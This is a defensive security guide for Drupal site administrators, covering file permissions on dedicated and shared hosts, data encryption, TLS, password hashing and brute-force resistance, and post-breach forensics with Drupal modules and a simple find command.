- For secure operation, web server must not have write access to any of the files or directories it handles except the upload directory and the directories and files below it and the translations directory and the files inside it (otherwise, third party access to the web-server will be able to inject malicious files and overwrite any file on the site).
- For the webmaster to work on the site using the CLI, the webmaster must have read and write access to any file that is part of the site.
- To protect the files from being accessed by other users using the CLI, no other user that the site's webmaster should have access to any file through the CLI.
The web server bakcground process may be owned by a non-human user ID, such as “apache” (“apache” is assumed in the examples below, but it other user IDs, such as “daemon”, “httpd”, “wwwrun”, “www-data” or “www” is also common), or owned by the user ID of the human webmaster (“webmaster” is assumed in the examples below), depending upon the configuration.
Also, in the examples below, the webmaster is a assumed to be a member of the group “webmaster”, and the non-human web server user (the “httpd user”) is assumed to be a member of the group “apache”.
Also, a standard Gnu/Linux or Unix environment is assumed. To be able to follow the argument, the reader needs to be familiar with classic Unix access control system with separate read (r), write (w) and execute/access directory (x) permissions split into three blocks (user, group, other).
Own web host
The standard hosting environment for a Drupal website is a host where the file system is not shared by any other entity.
If the web host is not shared with other users or other websites, it is trivial to satisfy all four requirements outlined above with the following settings for permissions and ownership (assuming your own user name is “webmaster” and the web server user name is “apache”).
settings.php: 640 rw- r-- --- webmaster.apache modules/: 750 rwx r-x --- webmaster.apache bar.php: 640 rw- r-- --- webmaster.apache files/: 770 rwx rwx --- webmaster.apache files/foo.png: 660 rw- rw- --- webmaster.apache translations/: 770 rwx rwx --- webmaster.apache translations/foo.po: 660 rw- rw- --- webmaster.apache
As long as the environment is not shared, there are no other users
around that may create rogue scripts or get their own scripts
compromised. This means that it is not a security risk to let the web
server user read settings.php
. In this environment, CLI
access for the webmaster is secured by letting all files be owned by
the webmaster with permission to modify, and web server access is
granted through setting the “read” bit and “execute bit” on
directories for the “apache” group. Here is how the settings
measure up to the four requirements:
- The web-server has the required read access.
- The web server only have write access to the upload directory and uploaded files.
- The webmaster has the required read and write access.
- There are no other CLI-users on the system.
For security in depth, a .htaccess
file to prevent scripts from
being executed should be placed in all directories where the web-server group has
write access. In Drupal 7, the following function may be used to create this file:
function file_create_htaccess()
.
Shared web host security
In a shared hosting environment, other users than the webmaster have access to the the shared web server and the file system.
By default, when the web server runs, it runs as the same
web server user (e.g. “apache”) for all websites that reside
on a shared web host. This means that a rogue user on the shared web
host may create a script for the web server that reads
the settings.php
of another site, and get access to the
site's database credentials. This is insecure.
However, if the Apace web server is set up to use a feature known as suEXEC, it can run as a different user. For instance, when the web server is accessing files belonging to “bob”, it should run as a user named “bob-apache”. Likewise, when the web-server is accessing files belonging to “alice”, it should run as a user named “alice-apache”.
This means you can use this set of permissions:
settings.php: 640 rw- r-- --- bob.bob-apache modules/: 750 rwx r-x --- bob.bob-apache bar.php: 640 rw- r-- --- bob.bob-apache files/: 770 rwx rwx --- bob.bob-apache files/foo.png: 660 rw- rw- --- bob.bob-apache
The disadvantage of this configuration is that each user account need to be set up with two user IDs: “x” and “x-apache”.
Storing sensitive data
If you keep sensitive data in your database (e.g. credit card numbers, medical records), you should encrypt them.
The Encryption module helps you defend sensitive data by means of symmetric encryption.
For safeguards beyond encryption, see the Payment Card Industry PCIComplianceGuide.org FAQ, and in particular, the PCI SSC Data Security Standards Overview. This is a framework of specifications, tools, measurements and support resources to help ensure the safe handling of sensitive data.
Keeping communications secret
The standard hyper-text transfer protocol (http) sends all communication between the browser and the website – including login credentials – in clear text. This is not secure. If your site allows users to log in, or other data that need to be secret are communicated, you need to configure the website to use Transport Layer Security (TLS). This allows the site to communicate by means of the secure hyper-text transfer protocol (https).
To learn about TLS, and using to keep communication to and from your site secure, see the webmaster's guide.
Static code analysis
Static code analysis is usually performed as part of a code review (also known as “white-box testing”) and refers to the running of static code analysis tools that attempt to highlight possible vulnerabilities within “static”' (i.e. non-running) source code by using techniques such as Taint Analysis and Data Flow Analysis.
Links to some PHP static analysis tools.
- Coder (Drupal specific)
- Phortress
- PHP Codesniffer
- PHP CS Security Audit (depends on CS)
- PHPStan
- PHPWander
- Progpilot
- RIPS
- VisualCodeGrepper
You may also want to take look at the Damn Vulnerable Web Application (DVWA). This is a PHP/MySQL web application that is deliberately vulnerable. The aim is to allow students to look for the most common web vulnerabilities, with various levels of difficulty:
Login and password security
If vrute force attacks are over the network against the website's login form,
Drupal already has some login security built-in. Located in
a function named user_login_authenticate_validate()
,
there is by default a setting that limits the number of attempted logins to one
account to five. After the limit has been reached, that combination
of IP address and uid will be locked out for six hours. To change
these defaults, you can install the
Flood control
or
Login security modules.
To protect against brute force attacks if the datebase storing the should be compromised
Drupal 7 hashes (SHA-512) and individually salts all
passwords.
To slow down a threat agent it is
iterated 2DRUPAL_HASH_COUNT
times. The
default value for DRUPAL_HASH_COUNT
is 15, which
results in 32768 iterations You can adjust the count with
the password_count_log2
variable, with a maximum value of
30 (1073741824 iterations) and a minimum value of 7 (128 iterations).
However, if your user's passwords have low entropy, brute-force password attacks are feasible, as illustrated in this comic strip:
Modern, dedicated hardware are faster than assumed in the comic strip. If the threat agent were to use a modern GPU is capable of 2×109 SHA-512 guesses per second, which is reduced to 61000 guesses per second if the SHA-512 is going through 32768 interations (Drupal's default). This reduces the time to crack a passphrase with a entropy equal to 244 from 550 years to only 8 years.
While 8 years is a long time, this means that if you experience a breech, you should force your users to reset their passwords, there's is the Force Password Change module that will invalidate all passwords and force users to set a new one.
There is also the Password Policy module that let you set a policy to force users to pick a password that is hard to crack by brute force (but it tends to enforce the type of policies the xkcd cartoon above lampoons, so I am not a big fan of it).
In addition to these modules, there is a recipe on Drupal.org to create a drush command to change passwords on accounts that are not actively used that may be used to invalidate passwords for stale accounts.
You may also condsider making your site less vulnerable to password cracking by adding Two-Factor-Authentication. There is an introduction to this in the Drupal Watchdog.
Depending upon your location, there may be a legal requirement to report a data breech to affected parties. In the EU/EEA, this is mandated by the GDPR. In the US there are now over 38 states that have privacy law that mandates notification. See www.privacyrights.org for more details.
Forensics and repair
I hope you've never experienced that horrible, sinking feeling when you look at your website and see that its usual frontpage is replaced with the words “Hacked!” or even worse. However, before I close this chapter, here is some notes about how to deal with such a situation.
You may also want to read: Drupal.org: Your Drupal site got hacked. Now what?, Sucuri.net: How to clean a hacked Drupal site, VISA: Response checklist and Greg Freeman's blog about How to tell if your PHP site has been compromised. Additionally, you should review the OWASP Top 10 lists to make sure you're aware of all the various types of attacks.
Security review
The Security review module will look for common mistakes that may render your site insecure. Not everyting it reports may be a security risk, but it is great for highlighting items that may require the attention of the administrator.
The following items should always be fixed if they are reported (unless you're sure the report is a false positive):
- Untrusted roles have been granted administrative or trusted Drupal permissions.
- Base URL is not set in settings.php.
- PHP files in the Drupal files directory can be executed.
- Dangerous tags were found in submitted content (fields).
- File system permissions. Makes sure files outside of upload area is not writeable by the web server (ver. 7.x-1.2 complains about translation files – this is a false positive).
- Untrusted users are allowed to input dangerous HTML tags.
- Sensitive temporary files were found on your files system. No temporary files should be present.
- Unsafe file extensions are allowed in uploads. Only safe upload extensions should be permitted.
- There are Views that do not provide any access checks.
The following item is OK on a development site, but it is recommended that it is not present on a production site:
- Errors are written to the screen.
Note that by default, only the anonymous user role is untrusted. You may change this under the
tab.File forensics
To check your Drupal files for unauthorized changes, you may want to install Hacked!. It will download a fresh copy of the core and each contributed project, and report if any of the code-base has been changed. You should use this for forensics after a breech, not for continious monitoring of a production site. The report generated by Hacked! is located along with the other reports. If the Diff module is also installed it will let you view the exact lines that have changed.
You may also use the CLI to locate files that may have been tampered with. For instance, to find all files modified in the last 20 days in current directory and its sub-directories, type:
$ find . -mtime -20 -print;
Route permissions
The extension Routes list provides a dashboard with a list of all available routes in the system and access information.
It is useful for quick overview of permissions configuration and security check to ensure no hidden URLs are active with full access to anyone.
Database forensics
To check your database for unauthorized changes, first check if any usernames or passwords has been changed. If the username or password of the super admin (user #1) has been changed without your knowledge, then your site has been breeched. Read the section about login and password security to learn ho to repair this.
Next examine the {node}
and {comment}
tables. Are there recently added nodes or comments that may be used
for a arbitrary code execution attack?
Final word
[TBA]
Last update: 2019-04-13 [gh].